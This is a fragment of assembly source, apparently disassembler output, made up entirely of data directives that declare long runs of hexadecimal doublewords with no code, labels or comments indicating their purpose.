		dd 4A2CC0E8h, 0F710B431h, 6D26309h, 20CE8C6Dh, 0C068D2A7h
		dd 81C8253Dh, 20C5B032h, 19F667C2h, 82D86992h, 10FE48DFh
		dd 8CA85D26h, 2314AA81h, 9A8E61Eh, 1B046ACh, 92C8DA98h
		dd 706880A1h, 2D86F780h, 6410E0B6h, 0B70030F8h,	0E7824BA3h
		dd 0ED8A135h, 0C1035AB4h, 0D13927C0h, 803CFC8Ch, 77B59711h
		dd 172E9088h, 1204704Dh, 55848CB0h, 0EF1B5E07h,	5CF6CA0Bh
		dd 0FAA900D1h, 59284C20h, 756025C7h, 41A38C19h,	8546003Ah
		dd 0F3709005h, 395C442Dh, 4024CE60h, 4002B9A8h,	55BC3D3Ah
		dd 5AA28884h, 80B299h, 651B634Eh, 48143229h, 4487FC6Ch
		dd 71409690h, 85C5019Dh, 30C8BBC5h, 0C43612C9h,	0CA8D0409h
		dd 0BE908899h, 85582C02h, 463892F0h, 0D4BF04E4h, 0CA950821h
		dd 0E82E1070h, 0A7F210C2h, 70E5C9E2h, 0F2185987h, 756CEF72h
		dd 0A3B5FC40h, 25E0E43Ah, 91D017DBh, 97A48F99h,	29D49C0Bh
		dd 145C82B4h, 20F8DA58h, 0B00F3BCh, 65667FB1h, 5CA603EFh
		dd 0A02D507Ah, 60CD5419h, 27435E0Ch, 290B2A02h,	6F316CF6h
		dd 0E221C10h, 8CF4F80Bh, 0FC508A64h, 3A2C5580h,	5AF26Ah
		dd 77D78A66h, 4A31D1B4h, 0EFE7AA0Dh, 1869B140h,	8084DAD7h
		dd 0DA90280Ch, 0E35E00E2h, 0D9265904h, 0FE88F050h, 0A5300FC6h
		dd 0CA67368Ch, 0F89850E5h, 0D89A1557h, 70A8DE26h, 8250F909h
		dd 0D96C24FCh, 181ED9E0h, 0E9670020h, 0A5DB827Eh, 811C8F9Fh
		dd 9A721F5h, 62A0057Ch,	6CC8D0CFh, 0FAA700CEh, 0DC6A9C7Bh
		dd 0CDA9C0A8h, 5B2F6FA8h, 0BB355D00h, 195CE506h, 0C4590E6Dh
		dd 8FA91B07h, 0E4113017h, 28A4358Fh, 0A4CC8CC5h, 0A6615D00h
		dd 0AE72B4B9h, 0D489026Ah, 0CE873AA2h, 0EF806C70h, 0F0C56624h
		dd 38B4E7D7h, 65B407DEh, 0F2379CBDh, 1061A8A3h,	282233h
		dd 6D265009h, 5C8A70h, 0D0F694C6h, 553A6A5Dh, 8B059A00h
		dd 24DA0F0Bh, 0B9889872h, 0F7A878ACh, 9F310386h, 0BA84D9ECh
		dd 0A28CFFA8h, 4B92C705h, 0CB28597h, 0CD30F6E2h, 6AE40EB5h
		dd 0F421C04Bh, 40FF6BF9h, 64A91B80h, 5E162200h,	9C9BB0F0h
		dd 0C8E2512Ch, 99AC983Ch, 0C1D9058Ch, 93ED0A85h, 3C995648h
		dd 0E2582377h, 3ABD30E2h, 2275C602h, 483FDF12h,	5949069Ch
		dd 0F0F4C8Dh, 0ED048491h, 2C9082E9h, 5182919h, 0A7B6F23Eh
		dd 84961Bh, 0B4F22DC0h,	380DDD9h, 80FD0098h, 5917D471h
		dd 13F97D34h, 0B044D381h, 117B7C14h, 88684B4Ch,	897A5F8h
		dd 63F7AF88h, 2980187h,	0A100D015h, 0D8D408EFh,	668356Fh
		dd 70DA85E2h, 0F80B60EBh, 2E66CA73h, 7C0277D8h,	409D647Eh
		dd 0FB21F470h, 7DD0063Bh, 0BD02E1CAh, 42FEDA7Ch, 74684841h
		dd 80840FEBh, 850A839Dh
		dd 5E230688h, 5F0621D7h, 43DA752Ah, 5EB49211h, 61400EAh
		dd 47B82304h, 39697B06h, 718F72Eh, 648BB2B6h, 0F8E10970h
		dd 0B838785Bh, 7EFC8C46h, 9D043400h, 84BF1788h,	8260B6C1h
		dd 76AC449Ah, 750FBCA1h, 71340291h, 1899799Ch, 6445004Ch
		dd 6C9BFDDBh, 674BC9F2h, 0E8118C0h, 0E38C3965h,	46A00074h
		dd 5402C76Dh, 80DF5240h, 0EE9480C0h, 0F67D8E1Bh, 0BED700C6h
		dd 0E54DA7C9h, 824DE681h, 21BC50A8h, 55774300h,	0DCD7D1C3h
		dd 0FACCA0D4h, 6BD34BDFh, 705C0148h, 8DA0DC42h,	0D18018A1h
		dd 17F18F3h, 0CE7AD6B4h, 5E4099DFh, 546C87A4h, 0E4407615h
		dd 9D673B53h, 0D2F61DBFh, 0C88F4481h, 7CB4ED36h, 41CADC30h
		dd 0EA79B7DBh, 59120067h, 3834F47Ah, 2000D68h, 297035E0h
		dd 1C954005h, 26DC9F98h, 0A79380F8h, 0FCD46909h, 2DC32601h
		dd 3D07F284h, 2D1FEE0h,	0C8DD82E0h, 0F001853Bh,	723E760Bh
		dd 0F4006C54h, 6A6478E8h, 8E8A06Dh, 0B828F068h,	7C12810Eh
		dd 2AAD8192h, 623E0158h, 7F051C98h, 11442039h, 52332022h
		dd 0F8F20038h, 47AF30CDh, 9026FB88h, 2C00FB4Ah,	13BE7A0Bh
		dd 82E40248h, 32D2FAB7h, 0EE7448C4h, 0F8C86C00h, 3A4ACF7Ah
		dd 274100E5h, 0E457E1Bh, 0BA01E273h, 8395F4CDh,	0E8582F8Dh
		dd 439C0922h, 0C1CF74Dh, 9C5DB70Eh, 0DA1BC0F1h,	0E0D08954h
		dd 0FC7C2502h, 73749880h, 97252320h, 40B40AD4h,	73F6467Ch
		dd 0D8C74500h, 0F9A624AFh, 3EEF5EC8h, 99239Ch, 0DA0EA4F0h
		dd 4C9691D0h, 0F66C2176h, 0EFF9E683h, 656788DFh, 94726F8h
		dd 6ED0768h, 32932875h,	58A65091h, 0A28BC8h, 0B45A78D9h
		dd 0F9A535BCh, 0FCE4D71Dh, 0BEE4C167h, 4D66ECh,	0CFC711F3h
		dd 33CA347Bh, 0D70AA4B9h, 0BB80A878h, 0AE836227h, 22A400BCh
		dd 0A29D16DCh, 0BA00A726h, 0E2ADCDEEh, 4F846C3Ch, 239C2F8Dh
		dd 0FF42036Fh, 0AD99474Ch, 0CED5C55Eh, 0E300B842h, 5D368C18h
		dd 189EC871h, 0E82501DEh, 432C888Ch, 9A839FDh, 60C603A8h
		dd 606BDD4h, 32A1D54Fh,	0E60048DFh, 0A4FB410Ch,	4A405D87h
		dd 36ACCCFDh, 0D562FE16h, 1E23F02Fh, 9FDC840Eh,	0F5622B40h
		dd 0EA98EDBAh, 43A0B4D4h, 84CB185h, 0C99416F4h,	6710E83Eh
		dd 52CAC7F6h, 0D4FC14B2h, 0B0C69678h, 4709063Ch, 0BA2B189h
		dd 27CB598h, 0BA9BCD54h, 0B2120070h, 1CE027D0h,	5B62F8ADh
		dd 0F2F0047Eh, 0B9B30C92h, 9C5C0DABh, 3A893FD2h, 0A810A42Fh
		dd 37B6C0F7h, 35557EBh,	0F9ECBB9h, 0D0DDE8DEh, 0BE2F7EC8h
		dd 0D712B5E6h, 78B09BC8h, 9D8BA40h, 541B0CCAh, 81BF7004h
		dd 0C4F87684h, 28D27B1Fh, 8CC2F001h, 0BC4E1A05h, 30F7A8C4h
		dd 39E4FB0h, 24C4BE81h,	0E398CFD9h, 3892444Bh, 0F527C073h
		dd 41A8448Fh, 0F687D777h, 0E3058871h, 0A3D04BD5h, 0F94EAC93h
		dd 4708AE9h, 5406125Dh,	0B82C49FFh, 7B582453h, 5CA40767h
		dd 0A0E80D66h, 864015DFh, 0E9ABD8A9h, 11319798h, 21D47C30h
		dd 1C3C01EEh, 0A3DC4C84h, 0A8400456h, 7686CD5Fh, 0E899362Eh
		dd 80BCA098h, 0E2465Eh,	13C62DC2h, 927732B1h, 98883BE8h
		dd 4E8F370Fh, 0A0C2DD20h, 46EBD9F5h, 1D952944h,	806A11C8h
		dd 9B0865D6h, 0F3B41FF5h, 0D121840Dh, 0A463078Dh, 0E0ED1DCFh
		dd 2A9E81CCh, 73E89B66h, 0C28500BEh, 0B07A70FBh, 0B518388Dh
		dd 62819BD8h, 0C65700A8h, 2AD235FDh, 0A30080B3h, 5A95FC3Fh
		dd 4E8CA4CBh, 545801BEh, 3F53FA2Fh, 0A912705Eh,	0B7D4550Bh
		dd 0A33C04D0h, 234B804h, 4101029Fh, 0AF20416Dh,	0E8C8D04Fh
		dd 0B79C90C3h, 3A663471h, 0E3E87BECh, 501AB0A5h, 0DCC87Ch
		dd 66571E3Bh, 166E96C8h, 26D030F9h, 4830EE74h, 0CB118913h
		dd 13C9279h, 0F45D900Bh, 0E8D7804Eh, 737AE94h, 21C279E2h
		dd 5563E01Dh, 541B5860h, 0F42CA423h, 5CF6933Bh,	40DC64B2h
		dd 0DBC0B40h, 0AC059A5Eh, 3E32E30Fh, 44F244F2h,	7778730h
		dd 27D6F039h, 9897601Dh, 0F24DA3FCh, 315616D4h,	71C8A4CBh
		dd 8C63DC0h, 0AFED16FBh, 0AC2C04BBh, 20FA009Ch,	9DC0F985h
		dd 91914417h, 254F8980h, 0F2098772h, 81A6485Bh,	3EFCC262h
		dd 60919430h, 98B1319Fh, 0D01FACEh, 807B1775h, 43C9A996h
		dd 48B39920h, 0EBE838CBh, 9EBB008Ch, 92EE4EA9h,	8CB238EAh
		dd 90DF9A07h, 0B764062Fh, 0F0000CEDh, 0F69140A8h, 735F5FC9h
		dd 0DF6F3C44h, 402BBD01h, 250C2023h, 995EC40h, 0E220D3B4h
		dd 6C805C3Dh, 0D2F06339h, 1FEA0923h, 187ADCDAh,	32526100h
		dd 0E0DE4BBCh, 22E90038h, 0DBE49885h, 400F711h,	79A80E2Dh
		dd 168F8293h, 3A4E2CEFh, 0F66C1040h, 2A829BC0h,	0B31C60AAh
		dd 0B21863AEh, 0A3C929F8h, 954F91D0h, 721A4570h, 989DB7F0h
		dd 64F78508h, 0A75887B8h, 74E00B62h, 0A3054206h, 0F0CFC8F9h
		dd 0E856AC09h, 240A6D94h, 81489E4Dh, 6462930Dh,	0D039BEA8h
		dd 6710E714h, 941D9D18h, 0CDA902EDh, 48C536h, 7208919Ah
		dd 25A2A102h, 0D4055CB7h, 0C1EF7Fh, 0B83008B1h,	65FD40C4h
		dd 2634874Ch, 0C5A79010h, 0A8B7E7D4h, 1FE79360h, 9C0312B9h
		dd 2E88F566h, 444C08h, 0C6AB9E0Dh, 0AF50AC4Bh, 70EBE6D0h
		dd 28BA3F50h, 509A554Ah, 8BCCE2C0h, 0D50B0AAAh,	8E42AF3h
		dd 972D9420h, 5DB708C8h, 0AE1CC06Eh, 3C8FD51h, 9B3E9640h
		dd 1B903820h, 354CE5FCh, 12F7178Fh, 70486841h, 0B2037914h
		dd 2C10C081h, 0BC3C48A4h, 0CF008C9Dh, 54D29F7Bh, 0FF81191h
		dd 0AF74B34Ch, 4F104380h, 8E0049BCh, 0FC9937B4h, 0BF9A15h
		dd 0A4CDC53Ch, 0AE67F0E5h, 7E46481Dh, 39C84107h, 68508381h
		dd 0FDC71180h, 0C9569CFFh, 4EC4E00Ch, 0C32008F9h, 0FFF48D21h
		dd 700A5FB0h, 79639B00h, 464269E4h, 0B068C2D6h,	7D20C849h
		dd 3013AD2h, 0D6CC4525h, 19C0A771h, 6E7A4AFCh, 82A030C0h
		dd 0CD8814Fh, 916F9B3Ch, 8E006768h, 0F22097Ah, 1DD37B1Dh
		dd 18648128h, 85CB21BBh, 0B106090Ch, 3790713Eh,	0B093E30Ah
		dd 8CE98F26h, 21F0507h,	0CFF08550h, 0DD3FAFE1h,	0A8828031h
		dd 3394C9E9h, 84BE9219h, 21805008h, 2CA89A7Fh, 8600CF61h
		dd 7BD9EE27h, 31A33C5h,	0CD41A7D4h, 91649B4Ah, 996098C0h
		dd 1010DF09h, 0C3C86475h, 98CEE80h, 687E1Ah, 3A61ECD5h
		dd 0C60F860Ah, 6824A737h, 0DDC24A11h, 0DAF29440h, 19346249h
		dd 0D921BCFAh, 3C489F3Ch, 0E6090876h, 0A9C47D10h, 991E740h
		dd 0E1004F54h, 0D02F98D8h, 5304526h, 1B9A3DCFh,	0E32C1D43h
		dd 0E9099701h, 684A8510h, 992D001h, 303F204Ah, 0E07FED4Ch
		dd 0A8B64629h, 89F1AD01h, 0A4F5DDBBh, 14AC6F0h,	3BA5DA8Ch
		dd 0F46E882Ch, 0C913FDDEh, 0EC012EE3h, 48B0ECC6h, 0CC2B4180h
		dd 0BD266F41h, 0B9036A7Eh, 0CD3F1440h, 70F498E0h, 399C3DDAh
		dd 0BAC040C8h, 0A8EECDD4h, 5533B913h, 3E2B1E01h, 72C439EDh
		dd 0BC8F180Dh, 774130C6h, 0D45022E4h, 24A35A80h, 5F5026E0h
		dd 54D12091h, 9F0BCB18h, 0F70DA65h, 0B5D32504h,	33C62081h
		dd 0DBF27088h, 268CD700h, 4865880Ch, 8C78CC59h,	87FFEA04h
		dd 6B62D156h, 83012823h, 2940E707h, 31E2CC96h, 4648D1B3h
		dd 80C9BFD8h, 6F0E1A2Eh, 7C4C3B7Bh, 127005Bh, 0CC1D92E6h
		dd 9879412Ch, 8F38CF65h, 0FFE94020h, 8C567480h,	0E1916244h
		dd 0CDE2C0h, 0BA394B52h, 4C233618h, 883BB62Ah, 5A46F300h
		dd 0F7EC644Ah, 83840028h, 9D72A988h, 0C4308DF2h, 0CCDA9C9h
		dd 738B0360h, 0F0F5DC49h
		dd 0DC8F02C9h, 487C8CA7h, 78C0D075h, 45A744Eh, 191E660h
		dd 83785028h, 600FEE9Eh, 0BEE88766h, 9C81D324h,	217D2030h
		dd 0D0D893D1h, 780EF28Ah, 0A33C33DEh, 0E910A83Ah, 4D0023A5h
		dd 51016E0Dh, 660F3DDCh, 0D400682Ch, 0E8F03967h, 0C3101A63h
		dd 7959E64Eh, 0D30F185Dh, 0A50129C6h, 68003C91h, 779752E0h
		dd 35F20C26h, 0C508934Dh, 0F88921C0h, 8C6651h, 3CF05586h
		dd 0F9062A56h, 13006290h, 0ABDE6D4Eh, 0FCCDE173h, 308EE6F3h
		dd 9941F0BBh, 6300A50h,	3D8B3064h, 0E48CA378h, 0E0099460h
		dd 118D1023h, 8FD100C0h, 0FA78ED09h, 252E03Eh, 5EBD753Bh
		dd 0BCA13FB5h, 24A8B9A2h, 3C60B604h, 724F7AE1h,	0F0F6260Fh
		dd 0A9467638h, 5F5BC600h, 9E8231E4h, 98424E26h,	0CA331740h
		dd 0B38D0967h, 0D8A2CE11h, 892F614Fh, 0D8FC13BDh, 2DC476Dh
		dd 0CE3991AAh, 0C890D20Bh, 486A4F5h, 778B52ECh,	20DE6286h
		dd 2752E485h, 56ABC00h,	0B6842D1h, 4CD07C3h, 39A9C162h
		dd 540E5C29h, 1441E91h,	11BB0C0Dh, 6CE4C042h, 0A89D0434h
		dd 62BCC9FEh, 95802045h, 0C90979A8h, 80F0E17Bh,	0D20A569Ch
		dd 0BCECA068h, 516918E3h, 0FBB5F92Ah, 0B5E3D289h, 51227020h
		dd 0F677238Dh, 8B00EB11h, 3E8A52DAh, 710CF4EEh,	70F2557Bh
		dd 0ECFC5476h, 0A6C13BE4h, 5BEB980h, 25AB454Eh,	170D1402h
		dd 0C6C59910h, 0CF572AD8h, 0DE510088h, 7B2B6DA8h, 0FC980EE4h
		dd 2C66E544h, 0A1087658h, 98411424h, 9EC2DDC8h,	0B424C1A8h
		dd 7386EC63h, 9026C96h,	0EE391F34h, 33AA40C5h, 4BE11271h
		dd 8E20013Dh, 0CD4E34F0h, 5ECCF438h, 6F483B3Eh,	9C8487B1h
		dd 13AE8CB0h, 9C604843h, 98019523h, 0AD10EC09h,	588B618h
		dd 1C097784h, 0DF06D60Ch, 9380FE3Dh, 0B4AAA427h, 35031FFAh
		dd 44488BA8h, 0D8C8AD18h, 0C0E18C8Eh, 0A1215686h, 502391D5h
		dd 0B604FFA3h, 0D9663B36h, 5C380880h, 0A8C251DEh, 2988280Bh
		dd 144CC1C0h, 0ABCE1252h, 903C1F66h, 8F7618C3h,	19973E1h
		dd 8E03AE9Dh, 60655EAFh, 12882168h, 7203834h, 1BF989Fh
		dd 3A626F6Dh, 0F43D21C6h, 0A424E5B2h, 65803CF7h, 555629D5h
		dd 288AC047h, 778EFCEEh, 0EBCE24h, 7A1501DEh, 35AF571Ah
		dd 331880CAh, 0A59C982h, 930C3456h, 4A9083A8h, 0CEF105FCh
		dd 0C7929808h, 56820004h, 4486E101h, 0FB008A1Fh, 2ADF70FFh
		dd 18558030h, 50137E22h, 0A9287B86h, 6D2E9C92h,	0F80830FEh
		dd 0A88160B6h, 9C46C9EAh, 7C1C4D22h, 7580A899h,	0FDB895FEh
		dd 32177389h, 91A8BEA0h, 82C6FF31h, 19E0F9ECh, 9E271024h
		dd 0D61000FFh, 0E2FE96BEh, 84925283h, 50016303h, 15F65E22h
		dd 0CCC4F7B8h, 0ABE2CF06h, 3A702847h, 42569504h, 8B0112A2h
		dd 42926F0Fh, 8330DAD0h, 0CA0411A8h, 8043882Ch,	27A89B82h
		dd 4E384588h, 0E027E83h, 86E3C7E1h, 0ED98808Ch,	1870A255h
		dd 803FCE41h, 0ECB0199Ah, 8468F44Dh, 14825125h,	44686C3Eh
		dd 0DD0386C2h, 0E2627F52h, 0F4C09506h, 0E98CF60h, 0A0C7E5E1h
		dd 9991B8C0h, 7A00FC25h, 61CF780h, 9BF9559h, 8B54CDCCh
		dd 24027829h, 0D0533899h, 600D3A93h, 0B072192Dh, 0CEEE502h
		dd 0C4623E6Eh, 0C7E43465h, 0A280EE60h, 0F4BD401Ch, 3EA5768Eh
		dd 0A42FD8D6h, 0BE03B523h, 0D5A636FAh, 0B6888CCEh, 69562FC0h
		dd 2412E6CEh, 1E00DEE6h, 99CDE6Dh, 0E490CA3Ah, 0E083B33Eh
		dd 7E761915h, 343A4952h, 41C8C72Ch, 8CF4F971h, 41330919h
		dd 1C18C491h, 0C7FE0751h, 11C81DE9h, 6D9D8026h,	9A77D3Eh
		dd 0CBA467E8h, 1F11981Dh, 13A4B780h, 5005F6BBh,	74AC1663h
		dd 0BB23A03Ah, 0CA02C400h, 96EBF6E3h, 9010287Ch, 199B0B0Ah
		dd 3C20D557h, 6A0562CCh, 0B2CE3800h, 0D20DA36h,	0CF6E647h
		dd 88BAE344h, 6242540h,	48DCBC0Bh, 300369C6h, 7F703B86h
		dd 486E794Ah, 0D5F324h,	0B009CE40h, 0D63D7563h,	50947B3Ch
		dd 3C840D94h, 9C6962E7h, 0C4F89011h, 0C0F5347Bh, 3CD403D0h
		dd 2900D650h, 57C91FA6h, 7309F3h, 0C22B5430h, 8B78D11Dh
		dd 0FC66612Eh, 284B1C12h, 0A6888296h, 269800F1h, 0A94A861Bh
		dd 802AA449h, 56F072B4h, 4B320B38h, 0BC028C0Eh,	933DC6B1h
		dd 0B28805CBh, 56BC8E6Eh, 42BB05Ch, 59DB0215h, 73C2A8BEh
		dd 0C4811478h, 1F06242h, 0BADE09E4h, 2C2CA5DAh,	9BC2A004h
		dd 258C1049h, 11001FF5h, 472580C5h, 64B56E9h, 6A233605h
		dd 0EB7F78CBh, 3BD8C806h, 98B92C57h, 8018E21Ch,	0F70C08C4h
		dd 51CBBD8Dh, 544E0026h, 0C7EC8C64h, 4C000DBCh,	0D2D6031Fh
		dd 0B4781E9Ch, 11EC2418h, 52DF809Eh, 8C8E7794h,	3F88D944h
		dd 2F651F7h, 61A39F0h, 1C69264Ah, 0E484E47Eh, 9DA59716h
		dd 0B8DA0C85h, 181A6EC0h, 4F65ECFAh, 10A32858h,	0F1829488h
		dd 7B6231DAh, 8BD992ECh, 0C1C4881Ch, 0D07F2F93h, 60FB65F4h
		dd 0C709F569h, 0BB717Bh, 461CCC30h, 61BCA26Ch, 8718DEC0h
		dd 0CA23A870h, 60361E8Ch, 0A89F7E00h, 0E43206DEh, 718E06A5h
		dd 0B04C1241h, 7B275E73h, 136C2E20h, 5E9588Ch, 0DE777A52h
		dd 5C8BEBh, 0DA52E18Ah,	903E9BBh, 0A74A2582h, 53C9F402h
		dd 5CC5B704h, 36C4E88Bh, 0E84D30CAh, 595F1671h,	60140FD2h
		dd 0EE120610h, 4B07E15h, 3B0B9CCAh, 381CB1CFh, 8C57B8E8h
		dd 0DFF69600h, 0E378BF63h, 6E1C02EDh, 1E23E8F4h, 0FC02C04Ah
		dd 88586853h, 465E6CB4h, 0C50100B5h, 325177B0h,	21BCA46Dh
		dd 0DC297E17h, 9218C771h, 0E946FA00h, 7DE8985Ch, 4A180B1Ch
		dd 48A557DEh, 0FF2D81C1h, 0B07AE621h, 84376800h, 0E01B0662h
		dd 0E55F09B8h, 60E4CCA2h, 847FD14h, 0AB1F21ACh,	601359A8h
		dd 8103C408h, 915173DCh, 1098047Bh, 0C1D567BEh,	63CAE264h
		dd 3029F248h, 1B009945h, 0DA5D2CC0h, 49125BC9h,	480098C7h
		dd 993C0DC1h, 0E8A06C9Eh, 4986DA06h, 0B0583801h, 0F8CAAE8h
		dd 0F63EFAC6h, 68473CE2h, 0CD1A9C60h, 0F296D09Ch, 0D0C37452h
		dd 57E928F6h, 0E9780078h, 0D5129A22h, 0AC9EDBBDh, 88205516h
		dd 0E1F4EFDFh, 1F4002C8h, 18598DDh, 75208B44h, 0B88C28D2h
		dd 0A4008CD6h, 0FB7ACE4Eh, 0BCD82345h, 0B5465C34h, 0B4CE007Ch
		dd 36524977h, 0C706CDDBh, 0B8DA4B71h, 3CA0A0F0h, 285E872h
		dd 0D983C481h, 0B8C70EACh, 4D602044h, 5A033024h, 4AF669DAh
		dd 5192E04Ch, 0B75D2615h, 4D217484h, 300580C8h,	0F1178D3Fh
		dd 0BDB01904h, 484D739h, 58B358F6h, 0BEB72F0h, 11E6C002h
		dd 47F8FAh, 0D095DAB8h,	710B7490h, 296FC249h, 0C4C8E510h
		dd 193560C4h, 756A3C0Bh, 6F02928Eh, 0E64B49A1h,	0F6B434A6h
		dd 27733B27h, 8D00F700h, 30B89C9Ah, 48088097h, 21C06745h
		dd 0CDCCFFE9h, 0C75F0B0Ch, 34432EE3h, 0DA063CD0h, 3741380h
		dd 7BC9ACFCh, 200EF661h, 5045FA52h, 65766E3Eh, 251418BEh
		dd 0C3D4B08Ch, 40008648h, 12195638h, 4438F822h,	0A93A3034h
		dd 0BDF4D718h, 849548DCh, 1CD69D03h, 3012FB4Ah,	9C25E08Bh
		dd 72A5EC02h, 40A89251h, 3A7A0674h, 0CE023901h,	9392B2E3h
		dd 6096E884h, 7225098Bh, 0EC7B480Fh, 98704B0h, 4074FE00h
		dd 6558F498h, 0AE4E3E83h, 0AAA628FEh, 0F3E13888h, 0A3D38D80h
		dd 111520B2h, 4B3B62Eh,	30F97582h, 82280053h, 6F437C4h
		dd 0C06EFE5Eh, 42137A00h, 0F7A77FE4h, 0D1177412h, 37D2200Bh
		dd 39A601D4h, 0E8834BF0h, 0BD76D80Bh, 0A01A20h,	0CC0F27EDh
		dd 9A8C9E44h, 2F7639F0h
		dd 0BC17255Eh, 0B00706Eh, 163279D5h, 0C5105D38h, 9F021A1Bh
		dd 0C8D224D6h, 10848B05h, 80CEE817h, 0C1CEB6C8h, 76D78DFBh
		dd 0B84C6479h, 173B26h,	0A9AEAFA8h, 0D7007775h,	0CF7BD61Eh
		dd 3005BFA4h, 3931A7CEh, 4959C66h, 34C61BC8h, 3EAE0519h
		dd 0F550EE3h, 3B23D094h, 0E9002544h, 85FB134Eh,	5EF03EDh
		dd 212CC3F1h, 0AF788C72h, 0EB495260h, 4AA5Ah, 9C8D346Ah
		dd 0B4C0A99h, 16BE700h,	0BF49B758h, 42F45FFDh, 109C289Ch
		dd 0C1805C54h, 2BC74333h, 563C78B0h, 0FE02C890h, 315693FFh
		dd 94102331h, 0BB7CFFF5h, 0FC74C00h, 73AAEEECh,	99009219h
		dd 1823D1C0h, 0FFC9089h, 0FBD95862h, 0B1257385h, 3C9C591Ch
		dd 8C50BC18h, 9B36A04h,	0F087E4F5h, 0BC90EA34h,	259D7A30h
		dd 0B417DA15h, 2C82BC11h, 1261C487h, 50A897C5h,	0D38F1400h
		dd 5151057h, 9BB60F7Eh,	31CCC981h, 0D03281h, 2B744EABh
		dd 7F1061Eh, 59E72898h,	0EAE150B7h, 0BC982F8Bh,	9C35C824h
		dd 117C97C9h, 0FA019D24h, 9A340291h, 606DB231h,	3555A013h
		dd 0F294A2C0h, 0F5F4303Ah, 56186500h, 1BDC9910h, 41575EE3h
		dd 0D02EB984h, 131CF868h, 86CC781Fh, 9D494137h,	80C1113Ch
		dd 469A5E2Eh, 0EE191D0Dh, 143FC477h, 0B36C84E9h, 30D9E25Ch
		dd 0C891B77Dh, 2CC54A08h, 3C370B40h, 8E585402h,	0B6F79490h
		dd 0A8800486h, 0A284C9FFh, 9881C060h, 0E2EC6EA8h, 58D0122Dh
		dd 4B548DE0h, 0C01F88BCh, 0BDBC2411h, 399C5617h, 28C05094h
		dd 12C82F1Fh, 92EC7D7Bh, 0EC970A5Ch, 429D5291h,	68FA7611h
		dd 920178F8h, 60325607h, 0B0293E2Bh, 11001FB8h,	0C225E987h
		dd 204BEA05h, 7E098B6Eh, 0E166CA0Bh, 74230F04h,	331DA2h
		dd 0ADC219A0h, 2FE3AC45h, 20D39C27h, 0F7A5BE04h, 4C8AE616h
		dd 66C1C870h, 0A7BAFA40h, 91F49788h, 0C632806Bh, 20BCC2Dh
		dd 9A4AFCB8h, 3C890DCFh, 0BD225C40h, 12497305h,	4C84DB34h
		dd 0FEB0FCA6h, 17084E51h, 9E20652h, 6410A4D7h, 0C6B09C87h
		dd 0F270FA00h, 0C1A7B652h, 1D350D74h, 0D07AC0FDh, 1C30CD8Ch
		dd 0EBE459B9h, 0D7FF0260h, 0C9C67416h, 66391841h, 2F96E308h
		dd 54B52738h, 0C2B82E80h, 41A35Eh, 0BE145247h, 2A75D34Bh
		dd 20D99491h, 0DA00C918h, 63D57035h, 15CDCC53h,	0CCA95604h
		dd 55024100h, 0E81C7F92h, 0D0358626h, 1C609713h, 219952E6h
		dd 8FC09677h, 9B252DEh,	121B98CBh, 50D17440h, 8C893860h
		dd 0F42FC6h, 366A9E3Eh,	7EB20162h, 8043423Eh, 11F7EBE7h
		dd 7D1EE19Fh, 0E8AA00EDh, 7E50FF3Bh, 0EC2E807Ah, 450BA097h
		dd 99528070h, 2266E8Eh,	819DC90Ch, 0C54D7DFh, 57465Eh
		dd 478DD8CEh, 3E64B226h, 0D2FA2250h, 0B2F0E3C0h, 0DD973023h
		dd 0E0540A95h, 121A4674h, 78F786EDh, 23EC2B4Fh,	152800EBh
		dd 43BD68FBh, 47245C09h, 80B4B7C6h, 0BB83BD17h,	8226CC27h
		dd 215EFC0Ah, 0FDBFCA36h, 3A806B5Ah, 97C6E7CDh,	8071ECA9h
		dd 24FA1504h, 6AB0E890h, 0CFA980F0h, 4E83D9C0h,	2C163E1Ah
		dd 0BA4C599h, 28652908h, 0A7E14D88h, 55004437h,	9A68AE33h
		dd 0B8C7819h, 0DAE22A50h, 57621467h, 0C5881BC8h, 4E700BACh
		dd 3074C8C0h, 0BE6EFE2h, 8EAA4BE9h, 3CB0F0A2h, 59F1BCD1h
		dd 91010A18h, 70321314h, 12FD57Bh, 3B6AD008h, 90352E4Bh
		dd 6B236C2Eh, 31CD0100h, 7458A393h, 4E8E0EABh, 0E4E0E573h
		dd 6E3BC88h, 0A0C8834Bh, 289186B7h, 0EB18C171h,	6200D8EAh
		dd 731BB649h, 257E2E2Ah, 9C405E3Bh, 31C98146h, 12C01057h
		dd 6EA600E6h, 86BFCB53h, 0E1007E27h, 0E9CFCEFEh, 2100ABAh
		dd 0D144356h, 0B45E1FDAh, 0D706286Ah, 9110DBB0h, 0CA36D8E0h
		dd 46ED3A86h, 42E410Bh,	10268200h, 0A758CDF1h, 0B60DC334h
		dd 216FD0D3h, 0A01D9DC5h, 6A80C511h, 106397DDh,	96762018h
		dd 7B56F61h, 0F9799C4Eh, 0E027D0C7h, 5F02053Dh,	0B242F82Bh
		dd 2F07044h, 0FA5601C8h, 0A880D255h, 8ED308A3h,	6986B530h
		dd 5BDA4977h, 9FAC4450h, 0CC30038h, 3B16C157h, 22092456h
		dd 0D080F6B7h, 72980187h, 0E0C8B926h, 0B70B6090h, 0F4173D30h
		dd 5A80BF11h, 0A5351E40h, 90A9B02Ah, 0C805C99h,	35DC0370h
		dd 4A3778ECh, 88ECCEA6h, 9D2CC0BCh, 430A7413h, 8CBE95EDh
		dd 0D5A908h, 1C5A7648h,	152536F2h, 0B4ECC4ECh, 0C7465E18h
		dd 2900893Ch, 915348A5h, 4B12CA22h, 9CC7B956h, 0ECE60A15h
		dd 0F7E230B7h, 6049E54h, 51724178h, 0CBA46802h,	62795451h
		dd 0A02C2A19h, 8CBC4B8Dh, 4B400C40h, 0D5A34CE5h, 1000163Ah
		dd 38EEE45Fh, 920AF6E2h, 0B88D7628h, 0EA6DD980h, 5C81FA8Ch
		dd 4707B575h, 0C365C3D6h, 3C81F74Dh, 214730FFh,	91569409h
		dd 0E46465D5h, 0D42C60C2h, 3DD0052Bh, 0E0864269h, 652C5EE0h
		dd 0C38F18D8h, 5C2B6104h, 0C050B5FAh, 9DC8CA0Ah, 0FCD4641Ah
		dd 624656h, 19C224BFh, 1FC7D228h, 42936568h, 0FE70A5F8h
		dd 465E90D4h, 0C4810752h, 58164AF7h, 0B1AB03C8h, 0E4CE5177h
		dd 1EA31001h, 42FCE8C4h, 788438ABh, 0C90AE09Bh,	888F5EE3h
		dd 21306F1Dh, 70666Dh, 590D639Fh, 4E3C12AAh, 258F44B6h
		dd 1D01AB8Dh, 8120112Ch, 0FBDC4CDAh, 8FF859FDh,	185648CDh
		dd 90040189h, 8254376h,	0A0F7CD33h, 9C4A7A0h, 29D184B9h
		dd 48009D18h, 5381EBB9h, 31E3C7F7h, 0E98AAFAh, 36D2D1B0h
